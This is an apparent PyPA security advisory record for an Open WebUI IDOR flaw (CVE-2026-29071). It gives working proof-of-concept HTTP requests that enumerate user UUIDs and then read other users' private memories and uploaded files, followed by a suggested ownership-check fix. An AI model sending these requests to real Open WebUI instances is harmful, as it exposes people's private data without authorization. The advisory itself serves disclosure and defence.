{"id":"PYSEC-2026-2765","summary":"Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories","details":"### Summary\nAny authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection`\n\n### Details\n**Vulnerability 1: Missing authorization in collection querying**\n\nIn `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),  # Only checks authentication, not authorization\n):\n```\n\nCollection names follow predictable patterns:\n- User files: `file-{FILE_UUID}`\n- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)\n\n### PoC\n**Environment:** Open WebUI v0.8.3, default configuration.\n**Setup:**\n1. Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.\n\n**Exploitation — Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\n```\n\nResponse reveals all users including admin's UUID, email, and role:\n\n```json\n{\n  \"users\": [\n    {\n      \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n      \"name\": \"user\",\n      \"email\": \"user@test.com\",\n      \"role\": \"user\"\n    },\n    {\n      \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n      \"name\": \"admin\",\n      \"email\": \"admin@test.com\",\n      \"role\": \"admin\"\n    }\n  ]\n}\n```\n\n\u003cimg width=\"1340\" height=\"731\" alt=\"1poc - users\" src=\"https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9\" /\u003e\n\n**Exploitation — Step 2: Read admin's memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"user-memory-\u003cadmin_UUID_from_step_1\u003e\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin's private memories:\n\n```json\n{\n  \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n\u003cimg width=\"1285\" height=\"606\" alt=\"2poc - memory\" src=\"https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082\" /\u003e\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation — Step 3: Read admin's private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"file-\u003cfile_UUID\u003e\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin's private document content and full metadata:\n\n```json\n{\n  \"documents\": [[\"Test PDF  \\nabc   \\nbcd\"]],\n  \"metadatas\": [[{\n    \"name\": \"Test PDF.pdf\",\n    \"author\": \"Mariusz Maik\",\n    \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n    \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n  }]]\n}\n```\n\n\u003cimg width=\"1413\" height=\"908\" alt=\"image\" src=\"https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596\" /\u003e\n\n### Impact\n-  **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),\n):\n    for collection_name in form_data.collection_names:\n        if collection_name.startswith(\"user-memory-\"):\n            owner_id = collection_name.replace(\"user-memory-\", \"\")\n            if owner_id != user.id and user.role != \"admin\":\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n        elif collection_name.startswith(\"file-\"):\n            file_id = collection_name.replace(\"file-\", \"\")\n            # user_has_access_to_file — placeholder; verify file ownership\n            # e.g. check if created_by matches user.id\n            if not user_has_access_to_file(user.id, file_id):\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.","aliases":["CVE-2026-29071","GHSA-w9f8-gxf9-rhvw"],"modified":"2026-07-13T16:32:05.102994249Z","published":"2026-07-13T14:36:45.073526Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29071"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-w9f8-gxf9-rhvw"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.6"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2765.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N"}]}